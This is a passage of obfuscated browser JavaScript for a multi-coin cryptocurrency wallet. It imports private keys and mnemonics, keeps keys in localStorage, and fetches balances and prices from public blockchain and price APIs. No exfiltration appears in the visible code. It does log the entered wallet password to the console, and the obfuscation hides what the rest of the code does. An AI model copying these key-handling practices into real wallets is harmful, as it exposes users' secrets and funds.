_0x32d181=parseInt(localStorage['getItem'](_0x5230a4),-0x1*-0x737+-0x627+0x1*-0x106)||0x1c5d+0x23f7+-0x4054;if(parseInt(_0x32d181)>=GenerateAccountNumber){ShowToast(_0x2b9b95(0x1f2)+'accounts\x20l'+_0x2b9b95(0x3bb)+_0x2b9b95(0x295)+'count\x20by\x20i'+_0x2b9b95(0x14f));return;}_0x32d181+=-0xb36+0x103*0x13+-0x802,localStorage[_0x2b9b95(0x3b3)](_0x5230a4,_0x32d181),document[_0x2b9b95(0x224)+_0x2b9b95(0x3b4)](_0x2b9b95(0x1a3)+'Select')[_0x2b9b95(0x17f)]=_0x5dfcbe,await updateAccountSelect(_0x5dfcbe),document[_0x2b9b95(0x224)+_0x2b9b95(0x3b4)](_0x2b9b95(0x242)+_0x2b9b95(0x129))['selectedIn'+_0x2b9b95(0x333)]=_0x32d181,document[_0x2b9b95(0x224)+'ById'](_0x2b9b95(0x2c2)+_0x2b9b95(0x2e4))[_0x2b9b95(0x38f)][_0x2b9b95(0x21b)]=_0x2b9b95(0x13d);}catch(_0x11d837){console[_0x2b9b95(0x251)](_0x2b9b95(0x15f)+_0x2b9b95(0x2d2),_0x11d837),ShowToast(_0x2b9b95(0x259)+_0x2b9b95(0x222)+'.\x20Ensure\x20t'+_0x2b9b95(0x292)+_0x2b9b95(0x318)+'rrect.');}await RefreshBalance();}document['getElement'+_0x311dae(0x3b4)](_0x311dae(0x272)+'on')[_0x311dae(0x16b)+_0x311dae(0x12c)](_0x311dae(0x1cd),function(){const _0x82d96=_0x311dae;document[_0x82d96(0x224)+_0x82d96(0x3b4)]('Transactio'+_0x82d96(0x315))['innerText']='',document['getElement'+_0x82d96(0x3b4)](_0x82d96(0x314)+_0x82d96(0x1e6))[_0x82d96(0x38f)][_0x82d96(0x21b)]='none',HideSendSection();var _0x4426a5=document['getElement'+_0x82d96(0x3b4)](_0x82d96(0x2c2)+'ion');_0x4426a5['style'][_0x82d96(0x21b)]===_0x82d96(0x13d)?_0x4426a5[_0x82d96(0x38f)][_0x82d96(0x21b)]=_0x82d96(0x16a):_0x4426a5['style']['display']=_0x82d96(0x13d);}),document[_0x311dae(0x224)+_0x311dae(0x3b4)](_0x311dae(0x30f)+'utton')[_0x311dae(0x16b)+_0x311dae(0x12c)](_0x311dae(0x1cd),function(){const _0x5ba37b=_0x311dae,_0x1b1a6f=document[_0x5ba37b(0x224)+_0x5ba37b(0x3b4)]('importBloc'+_0x5ba37b(0x23d)+'ct')['value'],_0x31f6a7=document[_0x5ba37b(0x224)+'ById']('privateKey'+_0x5ba37b(0x269))['value'][_0x5ba37b(0x276)](),_0x47626c=document[_0x5ba37b(0x224)+_0x5ba37b(0x3b4)](_0x5ba37b(0x147)+_0x5ba37b(0x23d)+'ct'),_0x34a244=_0x47626c[_0x5ba37b(0x14b)][_0x47626c[_0x5ba37b(0x283)+_0x5ba37b(0x333)]]['innerText'];console[_0x5ba37b(0x169)](_0x5ba37b(0x3cc)+_0x5ba37b(0x316),_0x34a244);if(!_0x31f6a7){ShowToast('Please\x20ent'+_0x5ba37b(0x369)+_0x5ba37b(0x19a)+_0x5ba37b(0x302));return;}try{switch(CoinsJson[_0x34a244]['NetworkTyp'+'e']){case _0x5ba37b(0x179)+'e':bitcoin['ECPair'][_0x5ba37b(0x24f)](_0x31f6a7,CoinsJson[_0x34a244][_0x5ba37b(0x2c5)+'a']);break;case'evm':if(!ethers[_0x5ba37b(0x127)][_0x5ba37b(0x10d)+'g'](_0x31f6a7,-0x1f60+-0x23*0xdf+-0x1*-0x3dfd))throw new Error(_0x5ba37b(0x140)+_0x5ba37b(0x154)+_0x5ba37b(0x17e));break;case _0x5ba37b(0x219):if(!tronWeb[_0x5ba37b(0x221)](tronWeb[_0x5ba37b(0x38e)][_0x5ba37b(0x3c7)+_0x5ba37b(0x139)](_0x31f6a7)))throw new Error(_0x5ba37b(0x354)+'on\x20private'+'\x20key.');break;default:ShowToast('importKey\x20'+_0x5ba37b(0x303)+_0x5ba37b(0x36f)+_0x5ba37b(0x2fe));return;}importKeyToWallet(_0x34a244,_0x31f6a7);}catch(_0xa5b05b){console['error'](_0x5ba37b(0x246)+_0x5ba37b(0x238)+':',_0xa5b05b),ShowToast('Invalid\x20pr'+'ivate\x20key\x20'+_0x5ba37b(0x260));}}),document[_0x311dae(0x224)+_0x311dae(0x3b4)](_0x311dae(0x242)+_0x311dae(0x129))['addEventLi'+_0x311dae(0x12c)]('change',saveSelections),document[_0x311dae(0x224)+_0x311dae(0x3b4)](_0x311dae(0x242)+_0x311dae(0x129))[_0x311dae(0x16b)+'stener'](_0x311dae(0x26d),function(){const _0x5a607c=_0x311dae;document[_0x5a607c(0x224)+_0x5a607c(0x3b4)](_0x5a607c(0x1d4)+_0x5a607c(0x315))[_0x5a607c(0x14c)]='';const _0x1a1507=document['getElement'+_0x5a607c(0x3b4)](_0x5a607c(0x1a3)+'Select')[_0x5a607c(0x17f)],_0xbc530f=document[_0x5a607c(0x224)+_0x5a607c(0x3b4)](_0x5a607c(0x242)+_0x5a607c(0x129))['selectedIn'+_0x5a607c(0x333)];getBalance(_0x1a1507),document[_0x5a607c(0x224)+'ById'](_0x5a607c(0x3ac)+'n')[_0x5a607c(0x38f)]['display']==='block'&&EstimateFee();});async function getBalance(_0x242109){const _0x29fc15=_0x311dae;var _0x2f3142=document[_0x29fc15(0x224)+'ById'](_0x29fc15(0x242)+'ect')[_0x29fc15(0x283)+_0x29fc15(0x333)];const _0x5e3225=loadKeysFromLocalStorage(_0x242109),_0xe5e9ed=document[_0x29fc15(0x224)+_0x29fc15(0x3b4)](_0x29fc15(0x1a3)+_0x29fc15(0x2f3)),_0x5af79d=_0xe5e9ed[_0x29fc15(0x14b)][_0xe5e9ed[_0x29fc15(0x283)+'dex']][_0x29fc15(0x14c)];if(!_0x5e3225||!_0x5e3225[_0x2f3142]){ShowToast(_0x29fc15(0x2bf)+_0x29fc15(0x168)+_0x29fc15(0x31e));return;}console['log'](_0x29fc15(0x256)+_0x29fc15(0x12a),_0x2f3142);const _0x350d0d=_0x5e3225[_0x2f3142]['address'];console['log'](_0x29fc15(0x273)+'e:',_0x350d0d);let _0x31d0ca=0xca*-0xe+-0x2c3*0x7+-0x7*-0x457;if(CoinsJson[_0x5af79d]['NetworkTyp'+'e']=='BitcoinLik'+'e'){var _0x29ff76=CoinsJson[_0x5af79d][_0x29fc15(0x202)];const _0x5ef6e4=await fetch('https://ap'+_0x29fc15(0x294)+_0x29fc15(0x183)+'/'+_0x29ff76+(_0x29fc15(0x2e1)+'s/')+_0x350d0d+'/balance'),_0x31e788=await _0x5ef6e4[_0x29fc15(0x159)]();_0x31d0ca=(_0x31e788['balance']/(0x7*-0x147d715+-0x56e4471*-0x1+0x9146*0x10bb))[_0x29fc15(0x3aa)](0x218c+0x2*-0x649+-0x14f2);var _0x24fa29=parseFloat(_0x31e788[_0x29fc15(0x1d2)+_0x29fc15(0x200)])/(-0x239*-0x34cb4+-0x1*0x128028d+-0x379887);_0x24fa29!==0x1e4e+-0x13c8+-0xa86&&(document['getElement'+'ById'](_0x29fc15(0x138)+_0x29fc15(0x37c))[_0x29fc15(0x26e)]='Unconfirme'+'d:'+_0x24fa29+'\x20'+CoinsJson[_0x5af79d][_0x29fc15(0x202)]);}else{if(CoinsJson[_0x5af79d]['NetworkTyp'+'e']==_0x29fc15(0x345))_0x31d0ca=await fetchEVMBalance(_0x350d0d,_0x5af79d);else{if(CoinsJson[_0x5af79d][_0x29fc15(0x1ee)+'e']==_0x29fc15(0x3b8))_0x31d0ca=await fetchTronBalance(_0x350d0d);else{ShowToast('Fetch\x20bala'+_0x29fc15(0x359)+_0x29fc15(0x234)+_0x29fc15(0x1b9));return;}}}await flashElements(),document[_0x29fc15(0x224)+_0x29fc15(0x3b4)]('balance')[_0x29fc15(0x14c)]=_0x31d0ca+'\x20'+_0x242109['toUpperCas'+'e']();const _0xa2fc94=await fetchUSDValue(_0x5af79d,_0x31d0ca);document[_0x29fc15(0x224)+'ById'](_0x29fc15(0x358))[_0x29fc15(0x14c)]='$'+_0xa2fc94[_0x29fc15(0x3aa)](-0x13f3+-0xa9e+0x1*0x1e93)+_0x29fc15(0x31b);}async function fetchUSDValue(_0x590a32,_0x36f6ad){const _0x22fe31=_0x311dae;console[_0x22fe31(0x169)](_0x22fe31(0x1a8),_0x590a32);const _0x223c97=CoinsJson[_0x590a32][_0x22fe31(0x28c)],_0x526a27='https://ap'+_0x22fe31(0x1ae)+'o.com/api/'+_0x22fe31(0x22d)+_0x22fe31(0x1b6)+_0x223c97+(_0x22fe31(0x1c6)+'cies=usd');try{const _0x125d85=await fetch(_0x526a27),_0x346c20=await _0x125d85[_0x22fe31(0x159)](),_0x3da360=_0x346c20[_0x223c97][_0x22fe31(0x320)];return _0x36f6ad*_0x3da360;}catch(_0x222d39){return console[_0x22fe31(0x251)](_0x22fe31(0x1bd)+_0x22fe31(0x275)+'rice:',_0x222d39),ShowToast(_0x22fe31(0x259)+_0x22fe31(0x249)+_0x22fe31(0x2b5)),-0x2*0x458+-0x6d7+0xf87;}}async function fetchBitcoinBalance(_0x31ec66){const _0x12b8c7=_0x311dae,_0x38fd32=await fetch(_0x12b8c7(0x3cd)+_0x12b8c7(0x294)+'her.com/v1'+_0x12b8c7(0x363)+_0x12b8c7(0x20b)+_0x31ec66+_0x12b8c7(0x131)),_0x275900=await _0x38fd32[_0x12b8c7(0x159)]();return(_0x275900[_0x12b8c7(0x11b)]/(0x8e4439*-0x9+-0x8aac1e5+-0x43*-0x4b0022))[_0x12b8c7(0x3aa)](-0xac7+-0x1dde+0x28ad);}async function fetchDogecoinBalance(_0x26d41d){const _0x4dcc05=_0x311dae,_0x5cabf9=await fetch(_0x4dcc05(0x3cd)+_0x4dcc05(0x294)+_0x4dcc05(0x183)+'/doge/main'+_0x4dcc05(0x2d8)+_0x26d41d+_0x4dcc05(0x131)),_0x233156=await _0x5cabf9[_0x4dcc05(0x159)]();return(_0x233156[_0x4dcc05(0x11b)]/(0x5c9*0x17dd+-0xa4f6633+0x25a*0x6b093))['toFixed'](0x11*0x13+-0x796*0x4+0x101*0x1d);}async function fetchLitecoinBalance(_0x5c3a79){const _0x16d015=_0x311dae,_0x3bcb0a=await fetch(_0x16d015(0x3cd)+'i.blockcyp'+'her.com/v1'+'/ltc/main/'+_0x16d015(0x20b)+_0x5c3a79+_0x16d015(0x131)),_0x3a7f99=await _0x3bcb0a['json']();return(_0x3a7f99[_0x16d015(0x11b)]/(0x9ef4066+-0x92e6ed6+0x5350f70))[_0x16d015(0x3aa)](0x9a2*0x1+0x2239*-0x1+-0xb*-0x23d);}async function fetchEVMBalance(_0x5d5b1a,_0xf3c345){const _0x208d5c=_0x311dae,_0x2bdccb=new Web3(CoinsJson[_0xf3c345]['RPCURL']);try{const _0x3c8829=await _0x2bdccb[_0x208d5c(0x297)]['getBalance'](_0x5d5b1a),_0x2ce32c=_0x2bdccb[_0x208d5c(0x127)][_0x208d5c(0x241)](_0x3c8829,_0x208d5c(0x24e));return document[_0x208d5c(0x224)+_0x208d5c(0x3b4)](_0x208d5c(0x11b))[_0x208d5c(0x14c)]='Balance:\x20'+_0x2ce32c+'\x20CoinName',_0x2ce32c;}catch(_0x2a229e){ShowToast(_0x2a229e['message']);}}async function fetchTronBalance(_0x4b1bd1){const _0x24f0d1=_0x311dae,_0x1033f9=await tronWeb[_0x24f0d1(0x219)][_0x24f0d1(0x285)](_0x4b1bd1);return(_0x1033f9/(0x731*-0x221+-0x74f1*0x9+0x22ae0a))[_0x24f0d1(0x3aa)](0x2187+0x11c2+-0x3343);}function copyText(_0x396577){const _0x1c6d03=_0x311dae,_0x2b5bbe=document[_0x1c6d03(0x224)+_0x1c6d03(0x3b4)](_0x396577),_0x254fdd=_0x2b5bbe[_0x1c6d03(0x14b)][_0x2b5bbe[_0x1c6d03(0x283)+'dex']][_0x1c6d03(0x17f)];navigator[_0x1c6d03(0x39c)][_0x1c6d03(0x2d4)](_0x254fdd)[_0x1c6d03(0x257)](function(){const _0xd09cea=_0x1c6d03;ShowToast(_0xd09cea(0x298)+_0xd09cea(0x3c2)+_0xd09cea(0x25d));},function(_0x15876f){const _0x26fe79=_0x1c6d03;console['error'](_0x26fe79(0x259)+_0x26fe79(0x372)+'\x20',_0x15876f),ShowToast(_0x26fe79(0x259)+_0x26fe79(0x12b)+'ss.');});}function copyMnemonic(){const _0x2c3cd0=_0x311dae,_0x547066=document[_0x2c3cd0(0x224)+_0x2c3cd0(0x3b4)](_0x2c3cd0(0x33c)+'xt')[_0x2c3cd0(0x14c)];navigator[_0x2c3cd0(0x39c)][_0x2c3cd0(0x2d4)](_0x547066)[_0x2c3cd0(0x257)](function(){const _0x8a31b9=_0x2c3cd0;ShowToast('Address\x20co'+_0x8a31b9(0x3c2)+_0x8a31b9(0x25d));},function(_0x16e1a9){const _0x6cd9eb=_0x2c3cd0;console[_0x6cd9eb(0x251)](_0x6cd9eb(0x259)+'copy\x20text:'+'\x20',_0x16e1a9),ShowToast('Failed\x20to\x20'+'copy\x20addre'+'ss.');});}document[_0x311dae(0x224)+'ById']('MaxAmountI'+'D')[_0x311dae(0x16b)+_0x311dae(0x12c)](_0x311dae(0x1cd),function(){const _0x255e3f=_0x311dae;var _0xfd2eaf=parseFloat(document[_0x255e3f(0x224)+_0x255e3f(0x3b4)](_0x255e3f(0x11b))[_0x255e3f(0x14c)]);document['getElement'+_0x255e3f(0x3b4)]('amountInpu'+'t')[_0x255e3f(0x17f)]=_0xfd2eaf;}),document[_0x311dae(0x224)+'ById']('ReceiveBut'+_0x311dae(0x370))[_0x311dae(0x16b)+'stener'](_0x311dae(0x1cd),function(){const _0x2b2785=_0x311dae,_0x2d46fb=document[_0x2b2785(0x224)+_0x2b2785(0x3b4)](_0x2b2785(0x242)+_0x2b2785(0x129)),_0x3200c3=_0x2d46fb[_0x2b2785(0x14b)][_0x2d46fb[_0x2b2785(0x283)+_0x2b2785(0x333)]][_0x2b2785(0x17f)];document[_0x2b2785(0x224)+'ById'](_0x2b2785(0x2b8))[_0x2b2785(0x26e)]='';let _0x37e86d=_0x3200c3,_0x507e0e=new QRCode(document[_0x2b2785(0x224)+_0x2b2785(0x3b4)](_0x2b2785(0x2b8)),{'text':_0x3200c3,'width':0x190,'height':0x190});$('#qrCodeMod'+'al')[_0x2b2785(0x19f)](_0x2b2785(0x1cb));});async function RefreshBalance(){const _0x4b132d=_0x311dae;document['getElement'+'ById'](_0x4b132d(0x138)+'dBalanceID')[_0x4b132d(0x26e)]='';var _0x2e9fac=document[_0x4b132d(0x224)+'ById'](_0x4b132d(0x1a3)+_0x4b132d(0x2f3))[_0x4b132d(0x17f)],_0xf97518=document[_0x4b132d(0x224)+_0x4b132d(0x3b4)](_0x4b132d(0x242)+_0x4b132d(0x129))[_0x4b132d(0x283)+_0x4b132d(0x333)];document['getElement'+_0x4b132d(0x3b4)](_0x4b132d(0x100)+'anceButton'+'ID')['hidden']=!![],console[_0x4b132d(0x169)](_0x4b132d(0x100)+_0x4b132d(0x324)+_0x4b132d(0x348),_0xf97518),await getBalance(_0x2e9fac),await updateIcon();}async function fetchFeeRate(){const _0x59fa57=_0x311dae;let _0x3ad735;const _0x1ea278=document[_0x59fa57(0x224)+_0x59fa57(0x3b4)](_0x59fa57(0x1a3)+_0x59fa57(0x2f3)),_0x1bc0e0=_0x1ea278[_0x59fa57(0x14b)][_0x1ea278['selectedIn'+_0x59fa57(0x333)]][_0x59fa57(0x14c)];_0x3ad735=_0x59fa57(0x3cd)+_0x59fa57(0x294)+_0x59fa57(0x183)+'/'+CoinsJson[_0x1bc0e0][_0x59fa57(0x202)]+_0x59fa57(0x204);try{const _0xed4200=await fetch(_0x3ad735),_0x31ca27=await _0xed4200['json']();return _0x31ca27[_0x59fa57(0x27b)+_0x59fa57(0x250)]/(0xf3*0x25+0x16a*0x16+-0x1*0x3e53);}catch(_0x475523){return console['error']('Error\x20fetc'+_0x59fa57(0x148)+_0x59fa57(0x392),_0x475523),-0x7f1+0x1334*0x1+0x845;}}document[_0x311dae(0x224)+_0x311dae(0x3b4)](_0x311dae(0x312)+'t')[_0x311dae(0x16b)+'stener'](_0x311dae(0x371),async function(){const _0x4a8d95=_0x311dae,_0x5d4bae=document[_0x4a8d95(0x224)+_0x4a8d95(0x3b4)]('blockchain'+'Select')['value'],_0x5f31d8=parseFloat(this[_0x4a8d95(0x17f)]);if(!_0x5f31d8||_0x5f31d8<=0xcb5*-0x2+0x112a+0xc0*0xb){ShowToast(_0x4a8d95(0x281)+_0x4a8d95(0x369)+_0x4a8d95(0x381));return;}console['log'](_0x4a8d95(0x10b),_0x5f31d8);var _0x36838d=parseFloat(document['getElement'+_0x4a8d95(0x3b4)](_0x4a8d95(0x11b))[_0x4a8d95(0x14c)]);console[_0x4a8d95(0x169)](_0x4a8d95(0x1ed)+'etElementB'+_0x4a8d95(0x25f)+_0x4a8d95(0x340)+':',document[_0x4a8d95(0x224)+_0x4a8d95(0x3b4)]('balance')['innerText']),_0x5f31d8>_0x36838d&&(document[_0x4a8d95(0x224)+_0x4a8d95(0x3b4)](_0x4a8d95(0x312)+'t')[_0x4a8d95(0x17f)]=_0x36838d);});function estimateMinerFee(_0x320fa1,_0x101b61){const _0x11c68c=0x2bf*-0x3+-0x51f+0xe24,_0x4e429e=_0x11c68c*_0x101b61;return _0x4e429e/(-0x2975ca7*-0x1+-0x1*-0x42fa551+0x38b68*-0x3b);}function updateFeeDisplay(_0x1ee946){const _0x23ff9c=_0x311dae,_0x4d37c7=document[_0x23ff9c(0x224)+'ById'](_0x23ff9c(0x1a3)+_0x23ff9c(0x2f3)),_0x1f0e22=_0x4d37c7[_0x23ff9c(0x14b)][_0x4d37c7[_0x23ff9c(0x283)+_0x23ff9c(0x333)]][_0x23ff9c(0x14c)],_0x551dcc=cryptoPrices[_0x1f0e22]||0x1388+0xa0d+-0x1d95,_0x1eeadf=document[_0x23ff9c(0x224)+_0x23ff9c(0x3b4)](_0x23ff9c(0x3ca));_0x1eeadf[_0x23ff9c(0x14c)]=_0x1ee946+'\x20'+CoinsJson[_0x1f0e22][_0x23ff9c(0x202)]+'\x20(≈'+(_0x1ee946*_0x551dcc)[_0x23ff9c(0x3aa)](0x1e3c+0x6*0x79+-0x844*0x4)+_0x23ff9c(0x243);}async function updateIcon(){const _0x46ff28=_0x311dae,_0x330699=document[_0x46ff28(0x224)+_0x46ff28(0x3b4)](_0x46ff28(0x1a3)+_0x46ff28(0x2f3)),_0x5b58f0=_0x330699['options'][_0x330699[_0x46ff28(0x283)+_0x46ff28(0x333)]],_0x41eea2=_0x5b58f0[_0x46ff28(0x263)+'te']('data-icon');document['getElement'+_0x46ff28(0x3b4)](_0x46ff28(0x19c))[_0x46ff28(0x366)]=_0x41eea2,_0x330699[_0x46ff28(0x38f)]['background'+_0x46ff28(0x307)]=_0x46ff28(0x399)+_0x41eea2+')';};async function HideSendSection(){const _0x5e8388=_0x311dae;document[_0x5e8388(0x224)+'ById'](_0x5e8388(0x25e)+_0x5e8388(0x1e6))['style']['display']=_0x5e8388(0x13d),document[_0x5e8388(0x224)+'ById'](_0x5e8388(0x3ac)+'n')[_0x5e8388(0x38f)]['display']='none',document[_0x5e8388(0x224)+_0x5e8388(0x3b4)]('sendTRXSec'+_0x5e8388(0x1e6))[_0x5e8388(0x38f)][_0x5e8388(0x21b)]='none';}function loadBlockchainOptions(_0xbe15b8){const _0x3ded9f=_0x311dae;for(const _0x1eefae in CoinsJson){if(CoinsJson[_0x3ded9f(0x231)+'erty'](_0x1eefae)){const _0x4deeec=CoinsJson[_0x1eefae],_0x469aa2=document[_0x3ded9f(0x25c)+_0x3ded9f(0x1fd)]('option');_0x469aa2[_0x3ded9f(0x17f)]=_0x4deeec[_0x3ded9f(0x202)],_0x469aa2['text']=_0x1eefae,_0x469aa2['setAttribu'+'te'](_0x3ded9f(0x2dc),_0x3ded9f(0x2c8)+_0x4deeec['symbol']['toUpperCas'+'e']()+_0x3ded9f(0x157)),_0xbe15b8[_0x3ded9f(0x393)+'d'](_0x469aa2);}}}async function ClearStorage(){const _0x3234a6=_0x311dae;for(const _0x416687 in CoinsJson){var _0x1c1fd0=CoinsJson[_0x416687][_0x3234a6(0x202)];const _0x251a09=_0x3234a6(0x2fd)+'t_'+_0x1c1fd0+_0x3234a6(0x380),_0x2ed610='MultiWalle'+'t_'+_0x1c1fd0+(_0x3234a6(0x30b)+_0x3234a6(0x155));localStorage['removeItem'](_0x251a09),localStorage['removeItem'](_0x2ed610),localStorage[_0x3234a6(0x338)](_0x3234a6(0x2fd)+_0x3234a6(0x158)+_0x3234a6(0x258)+_0x3234a6(0x165)),localStorage[_0x3234a6(0x338)](_0x3234a6(0x2fd)+'t_selected'+_0x3234a6(0x2d7)+'ex'),localStorage['removeItem']('MultiWalle'+'t_selected'+_0x3234a6(0x2f4)),localStorage['removeItem'](_0x3234a6(0x2fd)+_0x3234a6(0x2cb)+'Blockchain'+_0x3234a6(0x2a6));}}async function CancelSendSection(){const _0x4dbc75=_0x311dae;document[_0x4dbc75(0x224)+_0x4dbc75(0x3b4)]('sendETHSec'+_0x4dbc75(0x1e6))[_0x4dbc75(0x38f)][_0x4dbc75(0x21b)]=_0x4dbc75(0x13d),document[_0x4dbc75(0x224)+_0x4dbc75(0x3b4)]('sendSectio'+'n')[_0x4dbc75(0x38f)][_0x4dbc75(0x21b)]=_0x4dbc75(0x13d),document[_0x4dbc75(0x224)+_0x4dbc75(0x3b4)](_0x4dbc75(0x29e)+_0x4dbc75(0x1e6))[_0x4dbc75(0x38f)][_0x4dbc75(0x21b)]=_0x4dbc75(0x13d),document['getElement'+_0x4dbc75(0x3b4)](_0x4dbc75(0x2c2)+_0x4dbc75(0x2e4))[_0x4dbc75(0x38f)][_0x4dbc75(0x21b)]=_0x4dbc75(0x13d),document[_0x4dbc75(0x224)+'ById'](_0x4dbc75(0x314)+'tion')[_0x4dbc75(0x38f)][_0x4dbc75(0x21b)]=_0x4dbc75(0x13d);}async function ResetWallet(){const _0x41387b=_0x311dae;var _0x39017e=window[_0x41387b(0x262)](_0x41387b(0x1fa)+'t\x20to\x20reset'+_0x41387b(0x2a2)+_0x41387b(0x218)+_0x41387b(0x300)+_0x41387b(0x299)+_0x41387b(0x355)+_0x41387b(0x21c)+_0x41387b(0x395));_0x39017e?(console['log'](_0x41387b(0x327)+_0x41387b(0x1d0)),await ClearStorage(),window[_0x41387b(0x3a3)]['reload']()):console['log'](_0x41387b(0x327)+'d\x20\x27No\x27');}function setInitialIcon(_0x20848f,_0x56bbd5){const _0x51ff0b=_0x311dae,_0x2a4f2e=_0x20848f[_0x51ff0b(0x14b)][_0x20848f['selectedIn'+_0x51ff0b(0x333)]],_0x3ecd93=_0x2a4f2e[_0x51ff0b(0x263)+'te']('data-icon');_0x56bbd5['src']=_0x3ecd93,_0x20848f['style']['background'+_0x51ff0b(0x307)]=_0x51ff0b(0x399)+_0x3ecd93+')';}document[_0x311dae(0x224)+_0x311dae(0x3b4)](_0x311dae(0x144)+'dTRXButton')[_0x311dae(0x16b)+_0x311dae(0x12c)](_0x311dae(0x1cd),async function(){const _0x1a1f71=_0x311dae,_0x12087c=document[_0x1a1f71(0x224)+_0x1a1f71(0x3b4)](_0x1a1f71(0x33d)+'putTRX')['value'][_0x1a1f71(0x276)](),_0x66fe55=document['getElement'+_0x1a1f71(0x3b4)](_0x1a1f71(0x312)+_0x1a1f71(0x362))['value']['trim']();console[_0x1a1f71(0x169)]('receiver:',_0x12087c),console['log'](_0x1a1f71(0x10b),_0x66fe55);const _0x725379=document[_0x1a1f71(0x224)+'ById'](_0x1a1f71(0x133)+_0x1a1f71(0x362))[_0x1a1f71(0x14c)],_0x19b970=document['getElement'+_0x1a1f71(0x3b4)](_0x1a1f71(0x1a3)+_0x1a1f71(0x2f3)),_0x484939=_0x19b970['options'][_0x19b970[_0x1a1f71(0x283)+_0x1a1f71(0x333)]][_0x1a1f71(0x14c)];document[_0x1a1f71(0x224)+_0x1a1f71(0x3b4)](_0x1a1f71(0x125)+'tonText')['style'][_0x1a1f71(0x21b)]=_0x1a1f71(0x13d),document[_0x1a1f71(0x224)+_0x1a1f71(0x3b4)](_0x1a1f71(0x337)+'nner')[_0x1a1f71(0x38f)]['display']='inline-blo'+'ck',_0x725379===CoinsJson[_0x484939]['symbol']?await sendTron(_0x12087c,_0x66fe55):await sendTronToken(_0x12087c,_0x66fe55,selectedTokenAddress),document[_0x1a1f71(0x224)+_0x1a1f71(0x3b4)](_0x1a1f71(0x125)+'tonText')['style'][_0x1a1f71(0x21b)]=_0x1a1f71(0x20a)+'ck',document[_0x1a1f71(0x224)+'ById'](_0x1a1f71(0x337)+_0x1a1f71(0x217))[_0x1a1f71(0x38f)]['display']=_0x1a1f71(0x13d);});function loadTronTokens1(){const _0x3d352e=_0x311dae,_0x20fd95=document[_0x3d352e(0x224)+'ById'](_0x3d352e(0x133)+_0x3d352e(0x362));_0x20fd95[_0x3d352e(0x26e)]='';const _0x57aa01=document[_0x3d352e(0x25c)+_0x3d352e(0x1fd)]('option');_0x57aa01[_0x3d352e(0x17f)]='trx',_0x57aa01['text']=_0x3d352e(0x31f),_0x20fd95[_0x3d352e(0x393)+'d'](_0x57aa01);const _0x132a2c=CoinsJson[_0x3d352e(0x2b3)][_0x3d352e(0x326)];for(const _0x258134 in _0x132a2c){const _0x1289fe=document[_0x3d352e(0x25c)+_0x3d352e(0x1fd)]('option');_0x1289fe[_0x3d352e(0x17f)]=_0x132a2c[_0x258134][_0x3d352e(0x12f)+'dress'],_0x1289fe[_0x3d352e(0x1e3)]=_0x258134+'\x20('+_0x132a2c[_0x258134]['symbol']+')',_0x20fd95[_0x3d352e(0x393)+'d'](_0x1289fe);}}async function initUseIndex(_0x23f9df){const _0xa4a94f=_0x311dae,_0x193dd8=_0xa4a94f(0x2fd)+'t_'+_0x23f9df+('_accounts_'+_0xa4a94f(0x155));!localStorage['getItem'](_0x193dd8)&&localStorage[_0xa4a94f(0x3b3)](_0x193dd8,0x1af2+-0x4*0x4c5+-0x7de);}function showPrivateKeyModal(){const _0x5db789=_0x311dae,_0xc83da6=document[_0x5db789(0x224)+_0x5db789(0x3b4)](_0x5db789(0x1a3)+_0x5db789(0x2f3))[_0x5db789(0x17f)],_0x12c0cf=document[_0x5db789(0x224)+_0x5db789(0x3b4)](_0x5db789(0x242)+'ect')[_0x5db789(0x283)+_0x5db789(0x333)],_0x352046=loadKeysFromLocalStorage(_0xc83da6);if(!_0x352046||!_0x352046[_0x12c0cf]){ShowToast(_0x5db789(0x26f)+_0x5db789(0x196)+_0x5db789(0x39d));return;}const _0x116038=_0x352046[_0x12c0cf][_0x5db789(0x13f)],_0x5a19fa=CryptoJS[_0x5db789(0x2b1)][_0x5db789(0x37f)](_0x116038,pass)[_0x5db789(0x201)](CryptoJS[_0x5db789(0x39b)][_0x5db789(0x14d)]);if(_0x5a19fa){document[_0x5db789(0x224)+_0x5db789(0x3b4)](_0x5db789(0x13f)+_0x5db789(0x187))[_0x5db789(0x170)+'t']=_0x5a19fa,document[_0x5db789(0x224)+'ById'](_0x5db789(0x13f)+_0x5db789(0x39e))['innerHTML']='';const _0xfb1c52=new QRCode(document[_0x5db789(0x224)+_0x5db789(0x3b4)](_0x5db789(0x13f)+_0x5db789(0x39e)),{'text':_0x5a19fa,'width':0x100,'height':0x100});$(_0x5db789(0x15a)+_0x5db789(0x216))[_0x5db789(0x19f)]('show');}else ShowToast(_0x5db789(0x259)+_0x5db789(0x34a)+'he\x20private'+_0x5db789(0x310));}function validatePassword(){const _0x1382ff=_0x311dae,_0x2edbe6=document[_0x1382ff(0x224)+'ById'](_0x1382ff(0x30e)+_0x1382ff(0x1dc)+'t')['value'];console[_0x1382ff(0x169)](_0x1382ff(0x13b)+_0x1382ff(0x1c0),_0x2edbe6),_0x2edbe6===pass?($(_0x1382ff(0x290)+_0x1382ff(0x1ca))[_0x1382ff(0x19f)](_0x1382ff(0x309)),showPrivateKeyModal()):($('#passwordP'+_0x1382ff(0x1ca))['modal'](_0x1382ff(0x309)),ShowToast(_0x1382ff(0x317)+_0x1382ff(0x16d)+_0x1382ff(0x1e7)+_0x1382ff(0x3c6)));}function ShowPrivateKey(){const _0x2595c4=_0x311dae;$(_0x2595c4(0x290)+_0x2595c4(0x1ca))[_0x2595c4(0x19f)]('show');}async function RestoreAccounts(){const _0x5e51e9=_0x311dae,_0x44d6d4=document[_0x5e51e9(0x224)+_0x5e51e9(0x3b4)]('mnemonicIn'+_0x5e51e9(0x118))['value'][_0x5e51e9(0x276)]();if(_0x44d6d4===''||!bip39[_0x5e51e9(0x209)+_0x5e51e9(0x308)](_0x44d6d4)){ShowToast(_0x5e51e9(0x34c)+_0x5e51e9(0x1b3)+_0x5e51e9(0x255)+_0x5e51e9(0x17b)+'2\x20or\x2024-wo'+'rd\x20phrase.');return;}await ClearStorage(),initWallets(_0x44d6d4),ShowToast('Accounts\x20s'+_0x5e51e9(0x32e)+_0x5e51e9(0x35c)+_0x5e51e9(0x2ba)+_0x5e51e9(0x27d)),document['getElement'+_0x5e51e9(0x3b4)](_0x5e51e9(0x314)+_0x5e51e9(0x1e6))['style'][_0x5e51e9(0x21b)]='none';}async function wait(_0x280c1d){return new Promise(_0x59de0f=>setTimeout(_0x59de0f,_0x280c1d));}document[_0x311dae(0x224)+'ById'](_0x311dae(0x16c)+_0x311dae(0x323))['addEventLi'+_0x311dae(0x12c)](_0x311dae(0x1cd),function(){const 